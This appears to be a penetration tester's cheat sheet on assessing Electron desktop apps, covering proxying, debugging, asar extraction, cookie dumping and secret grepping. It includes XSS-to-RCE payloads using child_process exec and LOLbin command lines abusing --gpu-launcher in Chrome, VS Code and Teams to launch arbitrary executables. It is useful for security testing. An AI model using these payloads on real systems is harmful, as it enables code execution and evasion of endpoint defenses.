Electron / Atom Shell

Electron (formerly known as Atom Shell) is a software framework developed and maintained by GitHub for building desktop applications using JavaScript, HTML, and CSS. By embedding Chromium (browser engine) and Node.js (backend) into its binary, Electron allows to maintain one JavaScript codebase and create cross-platform apps that work on Windows, macOS, and Linux without native development. Additionally, it also uses various APIs to allow things such as native integration with Node services, and an Inter-process communication module.

Table of Contents

Identify

To verify if an app is built with the Electron framwork

  • On Windows: Go to the application folder, search for the word “electron”.
  • On Mac OS:
    • Right click .app file
    • Click “Show Package Contents”
    • Go to Contents/Frameworks
    • Check if there’s a “Electron Framework.framework” file

Intercept HTTP requests

You need to add Burp’s certificate to the Windows Trust Store or to Mac OS’ Keychain. See Burp Suite.

Start Burp Suite to intercept requests.

Windows – Start the application using a proxy

ElectronApp.exe --proxy-server=127.0.0.1:8080

Mac OS – Start the application using a proxy

cd ElectronApp.app/Contents/MacOS
./ElectronApp --proxy-server=127.0.0.1:8080

Debugging with Chrome’s DevTools

ElectronApp.exe --remote-debugging-port=54321
  • Start Chrome and go to chrome://inspect
  • Under Devices, click Discover network targets -> Configure
  • Add localhost:54321 (no need to select Enable port forwarding) and click Done
  • Under Remote Targets, the application should appear
  • Click on Inspect

Find Electron version

In the DevTools, go to the Console tab. Check the Security Advisories that apply to the version.

navigator.userAgent
navigator.userAgent.match(/Electron\/([\d\.]+\d+)/)[1]

Asar Electron Archive

Asar Electron Archive: Asar is a simple extensive archive format, it works like tar that concatenates all files together without compression, while having random access support.

See 3) Point-of-Sale Password Recovery from the SANS Holiday Hack Challenge.

Install asar on Kali Linux

sudo apt install npm
sudo npm install -g asar

Create an asar archive

Create a file package.json and the JS file in a folder.

package.json

{
  "name": "electron-execute",
  "version": "1.0.0",
  "description": "Inject JS Code in Page ",
  "main": "myprecious.js",
  "scripts": {
    "start": "electron ."
  },
  "keywords": [
    "electron"
  ],
  "author": "Sauron",
  "license": "ISC",
  "dependencies": {
    "electron": "^8.3.0"
  }
}

Create the archive (“pack”).

asar pack <dir> <output>
asar pack myprecious myprecious.asar

Extract the Electron application source code

List files from the asar archive.

asar list myprecious.asar

Extract one file.

asar extract-file myprecious.asar myprecious.js

Extract all files.

asar extract myprecious.asar ./myprecious

Example

For Visual Studio Code, ASAR are located in

C:\Users\%USERNAME%\AppData\Local\Programs\Microsoft VS Code\e4c7e7b1d6\resources\app

Cookies

Since Electron applications use Chromium, cookies are stored in:

Windows

C:\Users\<username>\AppData\Roaming\<app name>\Network\Cookies

Mac OS

/Users/<username>/Library/Application Support/<app name>/Cookies

Show cookies

This is a SQLite file. Transfer the file to Kali and extract the cookies.

sqlite3 Cookies "select name || ' = ' || value from cookies"

Show stack trace for warnings

ElectronApp.exe --trace-warnings

Sensitive Information

Look for hardcoded passwords or keys

grep -Ri "pass" ./
grep -Ri "key" ./

Known vulnerabilities

Identify known vulnerabilities in the project’s dependencies

npm i --package-lock-only
npm audit

XSS

XSS to RCE

Windows payloads

<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
<img src=x onerror=alert(require('child_process').exec('calc')); />

Linux & Mac OS payloads

<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());"> 
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

LOLbin

T1218.015 from the MITRE ATT&CK framework. Some EDRs detect the “–gpu-launcher” option.

Some Electron apps: chrome.exe, code.exe (VS Code), discord.exe, GitHubDesktop.exe, keybase.exe, msedge_proxy.exe, msedge.exe, msedgewebview2.exe, msteams.exe and Teams.exe, slack.exe

Chrome – chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c calc.exe"

Visual Studio Code – code.exe

Prerequisite: Install Visual Studio Code from the Microsoft Store.

"C:\Users\%USERNAME%\AppData\Local\Programs\Microsoft VS Code\Code.exe" --disable-gpu-sandbox --gpu-launcher="notepad.exe"
"C:\Users\%USERNAME%\AppData\Local\Programs\Microsoft VS Code\Code.exe" --disable-gpu-sandbox --gpu-launcher="C:\Users\Public\myprecious.exe"

Microsoft Teams – teams.exe

See examples from lolbas-project (github.io)

teams.exe --disable-gpu-sandbox --gpu-launcher="cmd /c c:\windows\system32\calc.exe &&"

Reference